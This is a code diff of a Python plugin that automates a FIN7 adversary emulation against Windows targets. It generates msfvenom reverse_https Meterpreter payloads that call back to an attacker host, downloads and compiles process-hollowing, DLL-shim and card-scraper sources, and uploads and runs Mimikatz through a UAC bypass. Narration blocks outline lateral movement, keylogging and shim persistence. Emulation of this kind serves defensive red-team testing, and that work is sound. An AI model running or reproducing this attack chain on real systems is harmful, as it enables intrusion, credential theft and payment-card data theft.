self.metasploit_1 = MetasploitInstant(self.metasploit_password, attack_logger=self.attack_logger, attacker=self.attacker_machine_plugin, username=self.metasploit_user)
self.metasploit_1.start_exploit_stub_for_external_payload(payload=self.payload_type_1)
self.metasploit_1.wait_for_session()
return self.metasploit_1
def step1(self):
self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 1 (target hotelmanager): Initial Breach{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 1 (target hotelmanager): Initial Breach\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET
* RTF with VB payload (needs user interaction)
* playoad executed by mshta
* mshta build js payload
* mshta copies wscript.exe to ADB156.exe
* winword.exe spawns verclsid.exe (a normal tool that can download stuff, no idea yet what it is used for here)
* mshta uses taskschd.dll to create a task in 5 minutes
This is the initial attack step that requires user interaction. Maybe it is better to reproduce those steps separately. They seem to be quite standard for any Ransomware infection.
""")
# TODOS: No idea if we can replicate that automated as those are manual tasks
# RTF with VB payload (needs user interaction)
@ -52,6 +68,19 @@ class FIN7Plugin(AttackPlugin):
def step2(self):
self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 2 (target hotelmanager): Delayed Malware Execution{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 2 (target hotelmanager): Delayed Malware Execution\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET
* scheduled task spawns Adb156.exe via svchost https://attack.mitre.org/techniques/T1053/005/
* Adb156.exe loads scrobj.dll and executes sql-rat.js via jscript https://attack.mitre.org/techniques/T1059/007/
* Adb156.exe connects via MSSQL to attacker server
* WMI quieries for network information and system information https://attack.mitre.org/techniques/T1016/ and https://attack.mitre.org/techniques/T1082/ (Caldera ?)
In this simulation sql-rat.js communication will be replaced by Caldera communication.
""")
# scheduled task spawns Adb156.exe via svchost https://attack.mitre.org/techniques/T1053/005/
# Adb156.exe loads scrobj.dll and executes sql-rat.js via jscript https://attack.mitre.org/techniques/T1059/007/
@ -63,6 +92,7 @@ class FIN7Plugin(AttackPlugin):
def step3(self):
self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 3 (target hotelmanager): Target Assessment{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration("Step 3 (target hotelmanager): Target Assessment\n----------------------------")
# TODO: Make sure logging is nice and complete
@ -72,16 +102,29 @@ class FIN7Plugin(AttackPlugin):
# Execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}new view {CommandlineColors.ENDC}", 1)
self.caldera_attack(hotelmanager, "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": hotelmanager.get_ip()})
self.caldera_attack(hotelmanager,
"deeac480-5c2a-42b5-90bb-41675ee53c7e",
parameters={"remote.host.fqdn": hotelmanager.get_ip()},
tactics="Discovery",
tactics_id="TA0007",
situation_description="The attackers got a bastion system infected and start to evaluate the value of the network")
# check for sandbox https://attack.mitre.org/techniques/T1497/
# The documentation does not define how it is checking exactly.
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}get-wmiobject win32_computersystem | fl model{CommandlineColors.ENDC}", 1)
self.caldera_attack(hotelmanager, "5dc841fd-28ad-40e2-b10e-fb007fe09e81")
self.caldera_attack(hotelmanager,
"5dc841fd-28ad-40e2-b10e-fb007fe09e81",
tactics="Defense Evasion",
tactics_id="TA0005",
situation_description="There are many more ways to identify if the attacker is running in a VM. This is just one.")
# query username https://attack.mitre.org/techniques/T1033/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query USERNAME env{CommandlineColors.ENDC}", 1)
self.caldera_attack(hotelmanager, "c0da588f-79f0-4263-8998-7496b1a40596")
self.caldera_attack(hotelmanager,
"c0da588f-79f0-4263-8998-7496b1a40596",
tactics="Discovery",
tactics_id="TA0007"
)
# TODO: query computername https://attack.mitre.org/techniques/T1082/
# self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1)
@ -90,17 +133,27 @@ class FIN7Plugin(AttackPlugin):
# TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/
# WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Network configuration discovery. Original is some WMI, here we are using nbstat{CommandlineColors.ENDC}", 1)
self.caldera_attack(hotelmanager, "14a21534-350f-4d83-9dd7-3c56b93a0c17")
self.caldera_attack(hotelmanager,
"14a21534-350f-4d83-9dd7-3c56b93a0c17",
tactics="Discovery",
tactics_id="TA0007")
# System Info discovery https://attack.mitre.org/techniques/T1082/
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}System info discovery, as close as it gets{CommandlineColors.ENDC}",
1)
self.caldera_attack(hotelmanager, "b6b105b9-41dc-490b-bc5c-80d699b82ce8")
self.caldera_attack(hotelmanager,
"b6b105b9-41dc-490b-bc5c-80d699b82ce8",
tactics="Discovery",
tactics_id="TA0007")
# CMD.exe->powershell.exe, start takeScreenshot.ps1 https://attack.mitre.org/techniques/T1113/
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Take screenshot{CommandlineColors.ENDC}",
1)
self.caldera_attack(hotelmanager, "316251ed-6a28-4013-812b-ddf5b5b007f8")
self.caldera_attack(hotelmanager,
"316251ed-6a28-4013-812b-ddf5b5b007f8",
tactics="Collection",
tactics_id="TA0009"
)
# TODO: Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/
self.attack_logger.vprint(
@ -125,12 +178,39 @@ class FIN7Plugin(AttackPlugin):
# Generate shellcode
# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.4 LPORT=443 EXITFUNC=thread -f C --encrypt xor --encrypt-key m
dl_uri = "https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step4/babymetal/babymetal.cpp"
architecture = "x64"
target_platform = "windows"
payload = self.payload_type_1
lhost = self.attacker_machine_plugin.get_ip()
lport = "443"
filename = "babymetal.dll"
encoding = "base64"
encoded_filename = "babymetal_encoded.txt"
sRDI_conversion = True
for_step = 4
logid = self.attack_logger.start_build(dl_uri=dl_uri,
architecture=architecture,
target_platform=target_platform,
payload=payload,
lhost=lhost,
lport=lport,
filename=filename,
encoding=encoding,
encoded_filename=encoded_filename,
sRDI_conversion=sRDI_conversion,
for_step=for_step,
comment="This is the stager uploaded to the target and executed to get the first Meterpreter shell on the target network.")
venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger)
venom.generate_payload(payload=self.payload_type_1,
architecture="x64",
platform="windows",
lhost=self.attacker_machine_plugin.get_ip(),
lport="443",
venom.generate_payload(payload=payload,
architecture=architecture,
platform=target_platform,
lhost=lhost,
lport=lport,
exitfunc="thread",
format="c",
encrypt="xor",
@ -141,7 +221,7 @@ class FIN7Plugin(AttackPlugin):
# get C source
self.attacker_machine_plugin.remote_run(
"cd tool_factory/step_4; rm babymetal.cpp; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step4/babymetal/babymetal.cpp")
f"cd tool_factory/step_4; rm babymetal.cpp; wget {dl_uri}")
# paste shellcode into C source
self.attacker_machine_plugin.remote_run(
@ -150,13 +230,15 @@ class FIN7Plugin(AttackPlugin):
# Compile to DLL
self.attacker_machine_plugin.remote_run("cd tool_factory/step_4; sed -i 's/#include <Windows.h>/#include <windows.h>/g' babymetal_patched.cpp")
self.attacker_machine_plugin.remote_run(
"cd tool_factory/step_4;x86_64-w64-mingw32-g++ -shared babymetal_patched.cpp -o babymetal.dll")
f"cd tool_factory/step_4;x86_64-w64-mingw32-g++ -shared babymetal_patched.cpp -o {filename}")
# sRDI conversion
self.attacker_machine_plugin.remote_run("cd tool_factory/; python3 sRDI/Python/ConvertToShellcode.py -f BabyMetal step_4/babymetal.dll")
self.attacker_machine_plugin.remote_run(f"cd tool_factory/; python3 sRDI/Python/ConvertToShellcode.py -f BabyMetal step_4/{filename}")
# base64 conversion
self.attacker_machine_plugin.remote_run("cd tool_factory/step_4; base64 babymetal.bin > babymetal_encoded.txt")
self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_4; base64 babymetal.bin > {encoded_filename}")
self.attack_logger.stop_build(logid = logid)
self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}Step 4 compiling tools{CommandlineColors.ENDC}", 1)
@ -168,7 +250,15 @@ class FIN7Plugin(AttackPlugin):
"""
self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 4 (target hotelmanager): Staging Interactive Toolkit{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 4 (target hotelmanager): Staging Interactive Toolkit\n----------------------------")
self.attack_logger.start_narration("""
In the original attack Babymetal payload is a dll. Currently we are using a simplification here (directly calling a exe). The original steps are:
* Target already runs adb156.exe. This one gets the shellcode over the network connection and decodes it.
* adb156.exe executes cmd.exe which executes powershell.exe. It decodes embedded dll payload https://attack.mitre.org/techniques/T1059/003/ and https://attack.mitre.org/techniques/T1059/001/
* Powershell cmdlet Invoke-Expression executes decoded dll https://attack.mitre.org/techniques/T1140/
* The script invoke-Shellcode.ps1 loads shellcode into powershell.exe memory (Allocate memory, copy shellcode, start thread) (received from C2 server) https://attack.mitre.org/techniques/T1573/
""")
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Create babymetal replacement{CommandlineColors.ENDC}",
1)
@ -208,6 +298,8 @@ class FIN7Plugin(AttackPlugin):
def step5(self):
self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 5 (target hotelmanager): Escalate Privileges{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 5 (target hotelmanager): Escalate Privileges\n----------------------------")
hotelmanager = self.get_target_by_name("hotelmanager")
@ -216,18 +308,27 @@ class FIN7Plugin(AttackPlugin):
# powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute ps -ax through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on(["ps -ax"], hotelmanager))
print(metasploit.ps_process_discovery(hotelmanager,
situation_description="The processes found here are not directly used (terminated, infected, ...). This is just a basic discovery step.",
countermeasures="None possible. This is a very standard behaviour. Could be interesting after some data on process behaviour got aggregated as additional info snippet.")
)
# powershell: GetIpNetTable() does ARP entries https://attack.mitre.org/techniques/T1016/
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute arp through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on(["arp"], hotelmanager))
# print(metasploit.meterpreter_execute_on(["arp"], hotelmanager))
print(metasploit.arp_network_discovery(hotelmanager,
situation_description="Ready for first network enumeration",
countermeasure="Maybe detect direct arp access. Should be uncommon for normal tools."))
# powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/
# TODO: Add a new machine in config as <itadmin> ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error
itadmin = self.get_target_by_name("itadmin").get_ip()
itadmin = self.get_target_by_name("itadmin")
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1)
cmd = f"execute -f nslookup.exe -H -i -a '{itadmin}'"
print(metasploit.meterpreter_execute_on([cmd], hotelmanager))
# cmd = f"execute -f nslookup.exe -H -i -a '{itadmin}'"
# print(metasploit.meterpreter_execute_on([cmd], hotelmanager))
print(metasploit.nslookup(hotelmanager, itadmin,
situation_description="Looking up info on the next target, the machine itadmin"))
# Copy step 5 attack tools to attacker
@ -239,26 +340,51 @@ class FIN7Plugin(AttackPlugin):
self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe")
self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1")
print(metasploit.meterpreter_execute_on(["ls"], hotelmanager, delay=10))
cmd = "upload samcat.exe 'samcat.exe' "
# cmd = "upload boring_test_file.txt 'samcat.exe' "
print(cmd)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10))
cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' "
# cmd = "upload samcat.exe 'samcat.exe' "
# print(cmd)
# print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10))
print(metasploit.upload(hotelmanager, "samcat.exe", "samcat.exe",
situation_description="Uploading Mimikatz",
countermeasure="File detection"))
# cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' "
# cmd = "upload boring_test_file.txt 'samcat.exe' "
print(cmd)
# print(cmd)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10))
# print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10))
print(metasploit.upload(hotelmanager, "uac-samcats.ps1", "uac-samcats.ps1",
delay=10,
situation_description="Uploading UAC bypass powershell script. This one will execute Mimikatz",
countermeasure="File detection"))
# execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/
execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'"
print(execute_samcats)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1)
logid = self.attack_logger.start_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
target=hotelmanager.get_ip(),
metasploit_command=execute_samcats,
ttp="T1003",
name="execute_mimikatz",
description="Execute Mimikatz to access OS credentials",
tactics="Credential Access",
tactics_id="TA0006",
situation_description="Executing Mimikatz through UAC bypassing powershell",
countermeasure="Behaviour detection"
)
print(metasploit.meterpreter_execute_on([execute_samcats], hotelmanager, delay=20))
self.attack_logger.stop_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
target=hotelmanager.get_ip(),
metasploit_command=execute_samcats,
ttp="T1003",
logid=logid)
# samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/
@ -284,14 +410,33 @@ class FIN7Plugin(AttackPlugin):
# --encrypt xor : xor encrypt the results
# --encrypt-key m : the encryption key
dl_uri = "https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step6/Hollow/ProcessHollowing.c"
payload = self.payload_type_1
architecture = "x64"
target_platform = "windows"
lhost = self.attacker_machine_plugin.get_ip()
lport = "443"
filename = "hollow.exe"
for_step = 6
logid = self.attack_logger.start_build(dl_uri=dl_uri,
architecture=architecture,
target_platform=target_platform,
payload=payload,
lhost=lhost,
lport=lport,
filename=filename,
for_step=for_step,
comment="This will be copied using paexec to the it admin host. It will spawn svchost.exe there and create a first Meterpreter shell on this PC.")
# Generate shellcode
# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.4 LPORT=443 -f exe -o msf.exe
venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger)
venom.generate_payload(payload=self.payload_type_1,
architecture="x64",
platform="windows",
lhost=self.attacker_machine_plugin.get_ip(),
lport="443",
venom.generate_payload(payload=payload,
architecture=architecture,
platform=target_platform,
lhost=lhost,
lport=lport,
format="exe",
outfile="msf.executable")
@ -302,7 +447,7 @@ class FIN7Plugin(AttackPlugin):
# Get ProcessHollowing.c
self.attacker_machine_plugin.remote_run(
"cd tool_factory/step_6; rm ProcessHollowing.c; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step6/Hollow/ProcessHollowing.c")
f"cd tool_factory/step_6; rm ProcessHollowing.c; wget {dl_uri}")
self.attacker_machine_plugin.remote_run(
"cd tool_factory/step_6; sed -i 's/#include <Windows.h>/#include <windows.h>/g' ProcessHollowing.c")
@ -317,7 +462,9 @@ class FIN7Plugin(AttackPlugin):
# Compiled for 64 bit.
self.attacker_machine_plugin.remote_run("cd tool_factory/step_6; rm hollow.exe;")
self.attacker_machine_plugin.remote_run("cd tool_factory/step_6; x86_64-w64-mingw32-gcc -municode -D UNICODE -D _UNICODE ProcessHollowing.c -L/usr/x86_64-w64-mingw32/lib/ -l:libntdll.a -o hollow.exe")
self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_6; x86_64-w64-mingw32-gcc -municode -D UNICODE -D _UNICODE ProcessHollowing.c -L/usr/x86_64-w64-mingw32/lib/ -l:libntdll.a -o {filename}")
self.attack_logger.stop_build(logid=logid)
self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}Step 6 compiling tools{CommandlineColors.ENDC}", 1)
@ -325,7 +472,19 @@ class FIN7Plugin(AttackPlugin):
def step6(self):
self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 6 (target hotelmanager -> itadmin): Expand Access{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 6 (target hotelmanager and itadmin): Expand Access\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET. NEEDS A SECOND MACHINE FOR LATERAL MOVEMENT
* powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/
* spawn powershell through cmd
* We move to the itadmin host: Use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/
* paexec starts temporary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/
* https://www.poweradmin.com/paexec/
* => Lateral move to itadmin
* hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/
* svchost starts data exchange
""")
# This is meterpreter !
# powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/
@ -375,6 +534,21 @@ class FIN7Plugin(AttackPlugin):
def step7(self):
self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 7 on itadmin: Setup User Monitoring{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 7 (target itadmin): Setup User Monitoring\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET. A REPLACEMENT FOR THE ALOHA COMMAND CENTER IS NEEDED
* Start situation: Step 6 executed a meterpreter in hollow.exe We can fake that to be able to start with step 7 directly
* BOOSTWRITE does DLL Hijack within a propriteary piece of software (Aloha Command Center)
* This is meterpreter !
* Emulating DLL hijacking functionality of BOOSTWRITE
* Create BOOSTWRITE meterpreter handler
* Create temporary HTTP server serving "B" as XOR Key
* hollow.exe meterpreter session dowloads BOOSTWRITE.dll to srrstr.dll https://attack.mitre.org/techniques/T1105/
* cmd.exe spawns svchost.exe -> executes SystemPropertiesAdvanced.exe which executes srrstr.dll
* srrstr.dll spawns rundll32.exe which communicates to metasploit. New shell !
""")
# Start situation: Step 6 executed a meterpreter in hollow.exe We can fake that to be able to start with step 7 directly
# BOOSTWRITE does DLL Hijack within a propriteary piece of software (Aloha Command Center)
@ -396,6 +570,18 @@ class FIN7Plugin(AttackPlugin):
def step8(self):
self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 8 (target: itadmin as domain_admin): User Monitoring{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 8 (target itadmin): User Monitoring\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET. MAYBE DO THIS PARTIAL. KEYLOGGING NEEDS USER INTERACTION.
(Screen spying and keylogging are already implemented as standalone metasploit attacks. Use them)
* Meterpreter migrates to explorer.exe (from svchost) https://attack.mitre.org/techniques/T1055/
* screenspy for screen capture https://attack.mitre.org/techniques/T1113/
* migrate session to mstsc.exe https://attack.mitre.org/techniques/T1056/001/
* deploy keylogger https://attack.mitre.org/techniques/T1056/001/
* create a RDP session from itadmin -> accounting using stolen credentials
""")
# This is meterpreter !
@ -405,6 +591,8 @@ class FIN7Plugin(AttackPlugin):
# deploy keylogger https://attack.mitre.org/techniques/T1056/001/
# create a RDP session from itadmin -> accounting using stolen credentials
# TODO: Screen spying and keylogging are already implemented as standalone metasploit attacks. Use them
self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}End Step 8: User Monitoring{CommandlineColors.ENDC}", 1)
@ -417,13 +605,34 @@ class FIN7Plugin(AttackPlugin):
accounting = self.get_target_by_name("accounting")
self.attacker_machine_plugin.remote_run("mkdir tool_factory/step_9")
payload = "windows/meterpreter/reverse_https"
filename = "dll329.dll"
for_step = 9
architecture = "x86"
target_platform = "windows"
lhost = self.attacker_machine_plugin.get_ip()
lport = "53"
sRDI_conversion = True
encoded_filename = "bin329.tmp"
logid = self.attack_logger.start_build(architecture=architecture,
target_platform=target_platform,
payload=payload,
lhost=lhost,
lport=lport,
filename=filename,
for_step=for_step,
sRDI_conversion= sRDI_conversion,
encoded_filename=encoded_filename,
comment="And SRDI converted Meterpreter shell. Will be stored in the registry.")
# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_https LHOST=192.168.0.4 LPORT=53 -f dll -o payload.dll
venom = MSFVenom(self.attacker_machine_plugin, accounting, self.attack_logger)
venom.generate_payload(payload="windows/meterpreter/reverse_https",
architecture="x86",
platform="windows",
lhost=self.attacker_machine_plugin.get_ip(),
lport="53",
venom.generate_payload(payload=payload,
architecture=architecture,
platform=target_platform,
lhost=lhost,
lport=lport,
format="dll",
outfile="payload.dll")
@ -432,35 +641,65 @@ class FIN7Plugin(AttackPlugin):
self.attacker_machine_plugin.remote_run("cd tool_factory/; python3 sRDI/Python/ConvertToShellcode.py step_9/payload.dll")
# mv payload.bin bin329.tmp
self.attacker_machine_plugin.remote_run("cp tool_factory/step_9/payload.bin tool_factory/step_9/bin329.tmp")
self.attacker_machine_plugin.remote_run(f"cp tool_factory/step_9/payload.bin tool_factory/step_9/{encoded_filename}")
# This will be stored in the registry
self.attack_logger.stop_build(logid=logid)
# ## DLL 329
# Build https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/fin7/Resources/Step9/InjectDLL-Shim
dl_uris = ["https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step9/InjectDLL-Shim/dllmain.cpp",
"https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step9/InjectDLL-Shim/pe.cpp",
"https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step9/InjectDLL-Shim/pe.h"]
filename = "dll329.dll"
for_step = 9
logid = self.attack_logger.start_build(dl_uris=dl_uris,
filename=filename,
for_step=for_step,
comment="Will be injected into the AccoutingIQ executable.")
self.attacker_machine_plugin.remote_run(
"cd tool_factory/step_9; rm dllmain.cpp")
self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step9/InjectDLL-Shim/dllmain.cpp")
self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; wget {dl_uris[0]}")
self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; rm pe.cpp;")
self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step9/InjectDLL-Shim/pe.cpp")
self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; wget {dl_uris[1]}")
self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; rm pe.h;")
self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step9/InjectDLL-Shim/pe.h")
self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; wget {dl_uris[2]}")
# Compiling dll 329
self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; rm dll329.dll;")
self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; i686-w64-mingw32-g++ -m32 -shared -municode -D UNICODE -D _UNICODE -fpermissive dllmain.cpp pe.cpp -L/usr/i686-w64-mingw32/lib/ -l:libntoskrnl.a -l:libntdll.a -o dll329.dll")
self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; rm {filename};")
self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; i686-w64-mingw32-g++ -m32 -shared -municode -D UNICODE -D _UNICODE -fpermissive dllmain.cpp pe.cpp -L/usr/i686-w64-mingw32/lib/ -l:libntoskrnl.a -l:libntdll.a -o {filename}")
self.attack_logger.stop_build(logid=logid)
# ## sdbE376.tmp
dl_uri = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/fin7/Resources/Step9/sdbE376.tmp"
filename = "sdbE376.tmp"
logid = self.attack_logger.start_build(dl_uri=dl_uri,
filename=filename,
for_step=9,
comment="An SDB Shim database file. Will be installed for application shimming.")
# Just download https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/fin7/Resources/Step9/sdbE376.tmp
self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; rm sdbE376.tmp")
self.attacker_machine_plugin.remote_run("cd tool_factory/step_9; wget https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/fin7/Resources/Step9/sdbE376.tmp")
self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; rm {filename}")
self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_9; wget {dl_uri}")
self.attack_logger.stop_build(logid=logid)
self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}Step 9 compiling tools{CommandlineColors.ENDC}", 1)
def step9(self):
self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 9 (target: accounting): Setup Shim Persistence{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 9 (target accounting): Setup Shim Persistence\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET
* powershell.exe executes base64 encoded commands (Caldera ?)
* Downloads dll329.dll and sdbE376
* persistence: sdbinst.exe installs sdbE376.tmp for application shimming https://attack.mitre.org/techniques/T1546/011/
""")
# This is meterpreter !
@ -480,6 +719,8 @@ class FIN7Plugin(AttackPlugin):
self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 10 compiling tools{CommandlineColors.ENDC}", 1)
accounting = self.get_target_by_name("accounting")
# Compiling
# i686-w64-mingw32-gcc is for 32 bit
@ -487,33 +728,50 @@ class FIN7Plugin(AttackPlugin):
# Important: pillowMint is not very complex and looks for the data at a fixed address. As we a re-compiling AccountIQ.exe and the data address does not match the expected one we will just get garbage.
filename = "AccountingIQ.exe"
dl_uri = "https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/AccountingIQ.c"
logid = self.attack_logger.start_build(
filename=filename,
for_step=10,
dl_uri=dl_uri,
comment="This is a simulated credit card tool to target. The final flag is in here.")
# simulated credit card tool as target
self.attacker_machine_plugin.remote_run("mkdir tool_factory/step_10") # MSFVenom needs to be installed
self.attacker_machine_plugin.remote_run("cd tool_factory/step_10; rm AccountingIQ.exe")
self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_10; rm {filename}")
self.attacker_machine_plugin.remote_run(
"cd tool_factory/step_10; rm AccountingIQ.c; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/AccountingIQ.c")
"cd tool_factory/step_10; rm AccountingIQ.c; wget {dl_uri}")
self.attacker_machine_plugin.remote_run(
"cd tool_factory/step_10; i686-w64-mingw32-gcc -m32 -L/usr/i686-w64-mingw32/lib -I/usr/i686-w64-mingw32/include AccountingIQ.c -o AccountingIQ.exe")
f"cd tool_factory/step_10; i686-w64-mingw32-gcc -m32 -L/usr/i686-w64-mingw32/lib -I/usr/i686-w64-mingw32/include AccountingIQ.c -o {filename}")
self.attacker_machine_plugin.get("tool_factory/step_10/AccountingIQ.exe",
self.attacker_machine_plugin.get(f"tool_factory/step_10/{filename}",
os.path.join(os.path.dirname(self.plugin_path), "resources", "step10",
"AccountingIQ.exe"))
filename))
accounting.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", filename),
filename)
self.attack_logger.stop_build(logid=logid)
# Simulated credit card scraper
self.attacker_machine_plugin.remote_run("cd tool_factory/step_10; rm pillowMint.exe")
filename = "pillowMint.exe"
dl_uri = "https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/pillowMint.cpp"
logid = self.attack_logger.start_build(
filename=filename,
for_step=10,
dl_uri=dl_uri,
comment="This is a simulated credit card data scraper.")
self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_10; rm {filename}")
self.attacker_machine_plugin.remote_run(
"cd tool_factory/step_10; rm pillowMint.cpp; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/pillowMint.cpp")
f"cd tool_factory/step_10; rm pillowMint.cpp; wget {dl_uri}")
self.attacker_machine_plugin.remote_run(
"cd tool_factory/step_10; x86_64-w64-mingw32-g++ -static pillowMint.cpp -o pillowMint.exe")
self.attacker_machine_plugin.get("tool_factory/step_10/pillowMint.exe",
f"cd tool_factory/step_10; x86_64-w64-mingw32-g++ -static pillowMint.cpp -o {filename}")
self.attacker_machine_plugin.get(f"tool_factory/step_10/{filename}",
os.path.join(os.path.dirname(self.plugin_path), "resources", "step10",
"pillowMint.exe"))
filename))
accounting = self.get_target_by_name("accounting")
